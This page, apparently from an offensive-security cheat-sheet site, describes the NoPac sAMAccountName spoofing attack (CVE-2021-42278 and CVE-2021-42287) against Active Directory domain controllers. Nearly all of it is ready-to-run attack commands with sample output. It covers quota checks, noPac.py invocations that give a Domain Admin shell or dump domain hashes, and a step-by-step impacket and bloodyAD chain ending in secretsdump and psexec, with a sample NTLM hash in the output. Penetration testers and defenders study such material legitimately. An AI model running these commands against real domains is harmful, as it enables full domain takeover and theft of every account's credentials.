Skip to content
HackIndex logo

HackIndex

NoPac: sAMAccountName Spoofing

4 min read Jun 11, 2026

NoPac chains two CVEs: CVE-2021-42278 (machine account sAMAccountName spoofing) and CVE-2021-42287 (KDC name confusion). Any standard domain user with machine account creation rights can escalate to Domain Admin by creating a machine account, renaming it to match a DC name, obtaining a TGT under that name, then exploiting the KDC's fallback behavior to obtain a service ticket with the DC's privilege context.

Prerequisites: ms-DS-MachineAccountQuota > 0 (default: 10) and DC not patched with KB5008380 or KB5008602 (November 2021).

┌──(kali㉿kali)-[~]
└─$ # Check machine account quota — default 10 means any user can create machine accounts
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M maq
 
┌──(kali㉿kali)-[~]
└─$ # Quick nxc scan — tries the exploit and reports if DC is vulnerable
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M nopac 
LDAP  10.10.10.10  389  DC01  MachineAccountQuota: 10

SMB   10.10.10.10  445  DC01  [+] NoPac vulnerability confirmed
PS C:\Users\Guest\Desktop> # Check MachineAccountQuota on domain root object
PS C:\Users\Guest\Desktop> Get-ADDomain | Select-Object -ExpandProperty 'ms-DS-MachineAccountQuota'
 
PS C:\Users\Guest\Desktop> # OR via raw LDAP attribute
PS C:\Users\Guest\Desktop> Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties 'ms-DS-MachineAccountQuota' | Select-Object 'ms-DS-MachineAccountQuota'

Automated exploit — noPac.py

noPac.py handles the full attack chain automatically: creates a machine account, renames it, requests TGT, performs S4U2self, and either provides a shell or dumps hashes. Install from GitHub: git clone https://github.com/Ridter/noPac.

┌──(kali㉿kali)-[~]
└─$ # Scan to confirm vulnerability
┌──(kali㉿kali)-[~]
└─$ python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap
 
┌──(kali㉿kali)-[~]
└─$ # Get shell as Domain Admin
┌──(kali㉿kali)-[~]
└─$ python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap --impersonate administrator -shell
 
┌──(kali㉿kali)-[~]
└─$ # Dump domain hashes directly
┌──(kali㉿kali)-[~]
└─$ python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap --impersonate administrator -dump
 
┌──(kali㉿kali)-[~]
└─$ # Dump specific account only
┌──(kali㉿kali)-[~]
└─$ python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap --impersonate administrator -dump -just-dc-user administrator 
[*] Machine account added: EVILPC$
[*] Renamed to: DC01
[*] Got TGT for DC01
[*] Restored sAMAccountName: EVILPC$
[*] Requesting service ticket impersonating Administrator
[+] Got shell as Administrator
C:\Windows\system32>

Manual exploit chain (impacket)

Step-by-step breakdown for environments where noPac.py is unavailable or blocked. The chain: create machine account, rename its sAMAccountName to match a DC (without $), obtain TGT, restore the name, then use S4U2self. The KDC cannot find the renamed account after restoration and per CVE-2021-42287 appends $, matching the real DC and issuing a service ticket with the DC's privilege context.

┌──(kali㉿kali)-[~]
└─$ # Step 1: Create machine account
┌──(kali㉿kali)-[~]
└─$ impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'EVILPC$' -computer-pass '$COMPUTER_PASSWORD' -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: Rename sAMAccountName to match DC hostname (no trailing $)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP \
set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName '$DC_HOSTNAME'
 
┌──(kali㉿kali)-[~]
└─$ # Step 3: Request TGT for renamed account
┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$DC_HOSTNAME:'$COMPUTER_PASSWORD' -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 4: Restore machine account's sAMAccountName
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP \
set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName 'EVILPC$'
 
┌──(kali㉿kali)-[~]
└─$ # Step 5: S4U2self — impersonate administrator via the TGT for DC_HOSTNAME
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$DC_HOSTNAME.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-getST -self -impersonate administrator -spn 'cifs/$DC_FQDN' \
$DOMAIN/$DC_HOSTNAME -k -no-pass -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 6: Use the impersonated service ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=administrator@cifs_${DC_FQDN}@${DOMAIN^^}.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/administrator@$TARGET_IP -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/administrator@$TARGET_IP -k -no-pass 
[*] Getting TGT for DC01
[*] Saved credential cache to 'DC01.ccache'
[*] Impersonating administrator
[*] Saved credential cache to 'administrator@[email protected]'

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

References